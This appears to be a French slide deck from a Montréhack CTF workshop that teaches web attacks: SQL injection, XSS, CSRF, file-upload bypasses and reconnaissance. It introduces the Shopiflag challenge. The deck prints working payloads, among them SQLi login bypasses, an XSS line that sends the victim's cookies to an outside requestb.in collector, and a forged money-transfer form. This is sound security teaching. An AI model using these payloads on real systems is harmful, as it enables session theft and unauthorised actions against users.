1 of 9

Montréhack

SSID: cm-public

Psw: sansfil3800

Shopiflag Web - Février 2018

Par Jean-Frédéric Gauron

2 of 9

Ordre du jour

  • SQL injection
  • Cross-Site Scripting
  • Cross-Site Request Forgery
  • Unrestricted file upload
  • Recon

3 of 9

SQL injection (SQLi)

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$pwd'";�$stmt = $db->query($sql);�$user = $stmt->fetch();��if ($user) {� // log in as user�}

  • Injection de code malicieux dans une requête SQL.

Username payload: ' OR 1=1 #

4 of 9

SQL injection (suite)

$sql = "SELECT * FROM users WHERE username = '$username'";�$stmt = $db->query($sql);�$user = $stmt->fetch();��if ($user && $pwd === $user["password"]) {� // log in as user�}

  • On tente de deviner à quoi la requête dans laquelle on injecte ressemble.

Username payload: ' UNION SELECT 1,2,'h4ck3r' #

Password payload: h4ck3r

5 of 9

Cross-site Scripting (XSS)

// Déterminer si l’application est vulnérable<script>alert(1);</script>

// Si le code injecté n’est pas visible par l’attaquant (modifier pour son propre requestb.in)<script>new Image().src="https://requestb.in/11zdff91";</script>

// Possibilité de voler les cookies de la victime<script>new Image().src="https://requestb.in/11zdff91?c="+(document.cookie);</script>

  • Exploiter la confiance d’un client envers une application vulnérable pour exécuter du code malicieux sur la machine de ce client.

Payloads:

6 of 9

Cross-site Request Forgery (CSRF)

<form name="evilform" method="post" action="badbank.com">� <input type="hidden" name="receiverID" value="60" />� <input type="hidden" name="amount" value="1000" />�</form>�<script type="text/javascript">document.evilform.submit();</script>

  • Exploiter la confiance d’une application envers un client compromi pour lui faire faire une action non désirée.

Payload:

7 of 9

Unrestricted file upload

  • Le téléversement de fichiers pose un important danger pour les applications, car un attaquant peut y insérer du code malicieux. Une fois le code sur le système de la victime, l’attaquant n’a plus qu’à trouver le moyen de l’exécuter pour compromettre celle-ci.

Plusieurs façons de contourner les restrictions: Null byte injection, content-type spoofing, double extension, …

Ne pas croire tout ce qu’on lit sur stackoverflow:

https://stackoverflow.com/questions/15595592/php-validating-the-file-upload

Plus d’informations:

https://www.owasp.org/index.php/Unrestricted_File_Upload

8 of 9

Recon

  • Avant de commencer à exploiter une application, il est important de bien comprendre toutes les fonctionnalités que celle-ci offre et d’obtenir le plus d’information possible quant à son fonctionnement.

  • Formulaires
  • robots.txt
  • Code source de la page
  • .git, .svn
  • Third party plugins

9 of 9

Shopiflag

  • Challenge conçu pour le DCI CTF (Automne 2017). 9 flags à trouver:

  1. ???
  2. ???
  3. Accéder à la page VIP
  4. Lire les emails d’un modérateur
  5. Flag caché dans la DB
  6. Flag sur le filesystem
  7. Flag que seul les admins peuvent voir
  8. Acheter flag 1
  9. Acheter flag 2

Challenge: http://165.227.44.167/

Bonne chance!